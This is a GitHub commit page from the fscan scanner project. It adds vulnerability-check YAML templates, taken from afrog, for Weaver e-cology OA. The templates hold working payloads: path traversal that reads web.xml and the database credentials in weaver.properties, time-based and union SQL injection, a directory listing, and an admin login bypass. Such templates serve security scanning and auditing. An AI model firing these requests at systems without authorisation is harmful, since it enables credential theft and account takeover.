Skip to content

Commit 3ef7a1b

Browse files
ZacharyZcRZacharyZcR
committed
feat: expand internal network poc coverage
1 parent 621b2c2 commit 3ef7a1b

59 files changed

Lines changed: 1658 additions & 12 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎webscan/pocs/THIRD_PARTY_NOTICES.md‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
# Third-party POC notices
22

3-
The 50 `.yaml` POC files added for the fscan 2.2.1 trial set were selected
3+
The 100 `.yaml` POC files added for the fscan 2.2.1 trial sets were selected
44
from `zan8in/afrog` commit `9f792687ed156d63344016f8bf658946079fb494`:
55

66
https://github.com/zan8in/afrog
77

8-
Only non-destructive detection, unauthorized-access, information-disclosure,
9-
and path-read checks were selected. The original project is licensed under
10-
the MIT License:
8+
The first set focused on non-destructive checks. The second set also includes
9+
RCE, file-write, and file-upload verification rules. The original project is
10+
licensed under the MIT License:
1111

1212
MIT License
1313

‎webscan/pocs/docker-registry-api-unauth.yaml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,4 +18,4 @@ rules:
1818
method: GET
1919
path: /v2/_catalog
2020
expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
21-
expression: r0() && r1()+
21+
expression: r0() && r1()

‎webscan/pocs/ecology-filedownload-lfi.yaml‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
id: ecology-filedownload-lfi
2+
3+
info:
4+
name: 泛微 OA ecology 本地文件读取
5+
author: l1nk3r
6+
severity: high
7+
verified: true
8+
description: |-
9+
泛微OA e-cology 文件下载目录遍历
10+
fofa: app="泛微-协同办公OA"
11+
reference:
12+
- https://www.weaver.com.cn/cs/securityDownload.asp
13+
tags: ecology,directory-traversal
14+
created: 2023/06/23
15+
16+
rules:
17+
r0:
18+
request:
19+
method: GET
20+
path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml
21+
expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
22+
expression: r0()

‎webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
id: ecology-filedownloadforoutdoc-sqli
2+
3+
info:
4+
name: 泛微 OA filedownloadforoutdoc - SQL injection
5+
author: zan8in
6+
severity: high
7+
verified: true
8+
description: |-
9+
泛微 OA filedownloadforoutdoc interface has SQL injection
10+
fofa: app="泛微-协同办公OA"
11+
tags: ecology,sqli
12+
created: 2023/07/11
13+
14+
set:
15+
rand0: randomInt(100,199)
16+
rand1: randomInt(200,299)
17+
rand2: randomInt(300,399)
18+
rand3: randomInt(400,499)
19+
rules:
20+
r0:
21+
request:
22+
method: POST
23+
path: /weaver/weaver.file.FileDownloadForOutDoc
24+
body: isFromOutImg=1&fileid={{rand0}}+WAITFOR+DELAY+'0:0:10'
25+
expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000
26+
r1:
27+
request:
28+
method: POST
29+
path: /weaver/weaver.file.FileDownloadForOutDoc
30+
body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
31+
expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000
32+
r2:
33+
request:
34+
method: POST
35+
path: /weaver/weaver.file.FileDownloadForOutDoc
36+
body: isFromOutImg=1&fileid={{rand2}}+WAITFOR+DELAY+'0:0:10'
37+
expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000
38+
r3:
39+
request:
40+
method: POST
41+
path: /weaver/weaver.file.FileDownloadForOutDoc
42+
body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
43+
expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000
44+
expression: r0() && r1() && r2() && r3()

‎webscan/pocs/ecology-getselectallid-sqli.yaml‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
id: ecology-getselectallid-sqli
2+
3+
info:
4+
name: 泛微OA E-Cology getdata.jsp SQL注入漏洞
5+
author: Print1n
6+
severity: high
7+
verified: true
8+
description: |-
9+
泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限 app="泛微-协同办公OA"
10+
tags: weaver,ecology,sqli
11+
created: 2023/06/23
12+
13+
set:
14+
r1: randomInt(1000, 9999)
15+
r2: randomInt(1000, 9999)
16+
rules:
17+
r0:
18+
request:
19+
method: GET
20+
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id
21+
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
22+
expression: r0()

‎webscan/pocs/ecology-hrmcareerapplyperview-sqli.yaml‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
id: ecology-hrmcareerapplyperview-sqli
2+
3+
info:
4+
name: 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
5+
author: zan8in
6+
severity: high
7+
verified: true
8+
description: |-
9+
泛微OA HrmCareerApplyPerView.jsp文件存在SQL注入漏洞，攻击者通过漏洞可以读取服务器敏感文件
10+
fofa: app="泛微-协同办公OA"
11+
tags: weaver,ecology,sqli
12+
created: 2025/06/11
13+
14+
set:
15+
randstr: randLowercase(6)
16+
rules:
17+
r0:
18+
request:
19+
method: GET
20+
path: /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1 union select 1,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','{{randstr}}')),db_name(1),5,6,7
21+
expression: response.status == 200 && response.body.bcontains(bytes(md5(randstr)))
22+
expression: r0()

‎webscan/pocs/ecology-jqueryfiletree-directory-traversal.yaml‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
id: ecology-jqueryfiletree-directory-traversal
2+
3+
info:
4+
name: 泛微OA E-Cology jqueryFileTree.jsp 目录遍历漏洞
5+
author: zan8in
6+
severity: high
7+
verified: true
8+
description: |-
9+
泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等，其中 jqueryFileTree.jsp 文件中 dir 参数存在目录遍历漏洞，攻击者通过漏洞可以获取服务器文件目录信息
10+
fofa: app="泛微-协同办公OA"
11+
tags: weaver,ecology,directory-traversal
12+
created: 2023/06/23
13+
14+
rules:
15+
r0:
16+
request:
17+
method: GET
18+
path: /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../
19+
expression: |
20+
response.status == 200 &&
21+
response.body.bcontains(b'index.jsp') &&
22+
response.body.bcontains(b'PortalCenter.jsp') &&
23+
response.body.bcontains(b'PortalSettingOperation.jsp')
24+
expression: r0()

‎webscan/pocs/ecology-resourceservlet-lfi.yaml‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
id: ecology-resourceservlet-lfi
2+
3+
info:
4+
name: 泛微OA e-cology ResourceServlet 本地文件读取
5+
author: l1nk3r
6+
severity: critical
7+
verified: true
8+
description: |-
9+
泛微OA e-cology springframework 本地文件读取
10+
reference:
11+
- https://www.weaver.com.cn/cs/securityDownload.asp
12+
tags: weaver,ecology,lfi
13+
created: 2023/06/23
14+
15+
rules:
16+
r0:
17+
request:
18+
method: GET
19+
path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml
20+
expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
21+
expression: r0()

‎webscan/pocs/ecology-signaturedownload-fileread.yaml‎

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
id: ecology-signaturedownload-fileread
2+
3+
info:
4+
name: 泛微 OA ecology SignatureDownLoad 任意文件读取
5+
author: daffainfo
6+
severity: critical
7+
verified: true
8+
description: |-
9+
泛微协同管理平台e-weaver继承e-cology八大功能模块应用，并可进一步打通企业更深层的个性管理需求，基于协同思想打造全面整合企业管理资源的环境。e-weaver基于工作流引擎＋卡片/表单＋组件模式，全面开放已有八大功能的配置应用，同时还可以根据用户个性的管理需求，增添企业独立的应用模块功能，从而形成完全符合自身企业的全面协同管理应用解决方案。泛微OA e-weaver平台SignatureDownLoad处存在敏感信息泄露漏洞，攻击者通过漏洞可以获取数据库服务器权限。
10+
fofa: app="泛微-E-Weaver"
11+
reference:
12+
- https://mp.weixin.qq.com/s/71v9SgVLJk2jg0kBVhkTpA
13+
tags: weaver,ecology,fileread
14+
created: 2023/06/23
15+
16+
rules:
17+
r0:
18+
request:
19+
method: GET
20+
path: /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27
21+
expression: |
22+
response.status == 200 &&
23+
response.body.bcontains(b'ecology.user=') &&
24+
response.body.bcontains(b'ecology.password=')
25+
expression: r0()

‎webscan/pocs/ecology-verifyquicklogin-login-bypass.yaml‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
id: ecology-verifyquicklogin-login-bypass
2+
3+
info:
4+
name: 泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞
5+
author: zan8in
6+
severity: high
7+
verified: true
8+
description: |-
9+
泛微OA E-Cology VerifyQuickLogin.jsp文件中存在任意管理员登录漏洞，攻击着通过发送特殊的请求包可以获取管理员Session
10+
fofa: app="泛微-协同办公OA"
11+
tags: weaver,ecology,bypass
12+
created: 2023/06/23
13+
14+
rules:
15+
r0:
16+
request:
17+
method: POST
18+
path: /mobile/plugin/VerifyQuickLogin.jsp
19+
body: identifier=1&language=1&ipaddress=x.x.x.x
20+
expression: response.status == 200 && response.body.bcontains(b'"sessionkey":') && response.body.bcontains(b'"message":')
21+
expression: r0()

0 commit comments

Comments
 (0)